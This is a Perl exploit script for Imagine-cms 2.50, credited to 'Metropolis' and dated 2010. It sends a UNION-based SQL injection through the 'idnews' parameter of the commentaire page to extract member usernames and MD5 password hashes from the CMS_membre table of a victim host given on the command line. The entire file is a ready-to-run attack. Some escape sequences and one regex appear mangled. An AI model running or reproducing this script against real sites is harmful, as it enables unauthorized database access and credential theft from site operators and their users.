#!/usr/bin/perl
###########################################
#
# Script Name : Imagine-cms 2.50
#
# Version :  2.50
# 
# Bug Type : SQL Injection
#
# Found by : Metropolis 
# 
# Home : http://metropolis.fr.cr
#
# Discovered : 21/07/2010
#
# Download app : 
# http://www.imagine-cms.net/modules/
# telechargement/index.php?page=afficher_souscat&id_cat=2
# 
###########################################
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "n- Author: Metropolisrn";
  print "- Imagine-cms <= 2.50 Remote SQL Injection Exploitrn";
}
sub usage()
{
  header();
  print "- Usage: $0 <host> <path>rn";
  print "- <host> -> Victim's host ex: www.victim.comrn";
  print "- <path> -> ex: /rn";
  exit();
}
sub exploit ()
{
  #Our variables...
  $spserver = $ARGV[0];
  $spserver =~ s/(http://)//eg;
  $sphost   = "http://".$spserver;
  $spdir    = $ARGV[1];
  $spport   = "80";
  $sptar    = "index.php?page=commentaire&idnews=";
  $spxp     = "-1+and+1=0+union+select+1,2,concat(25552,membre_pseudo,25553,membre_mdp,25554),4,5+from+CMS_membre--";
  $spreq    = $sphost.$spdir.$sptar.$spxp;
  #Sending data...
  header();
  print "- Trying to connect: $spserverrn";
  $sp = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$spserver", PeerPort => "$spport") || die "- Connection failed...n";
  print $sp "GET $spreq HTTP/1.1n";
  print $sp "Accept: */*n";
  print $sp "Referer: $sphostn";
  print $sp "Accept-Language: trn";
  print $sp "User-Agent: NukeZillan";
  print $sp "Cache-Control: no-cachen";
  print $sp "Host: $spservern";
  print $sp "Connection: closenn";
  print "- Connected...rn";
  while ($answer = <$sp>) {
    if ($answer =~ /25552(.*?)25553([d,a-f]{32})25554/) {
      print "- Exploit succeed!rn";
      print "- Username: $1rn";
      print "- MD5 HASH of PASSWORD: $2rn";
      exit();
    }
  }
  #Exploit failed...
  print "- Exploit failedn"
}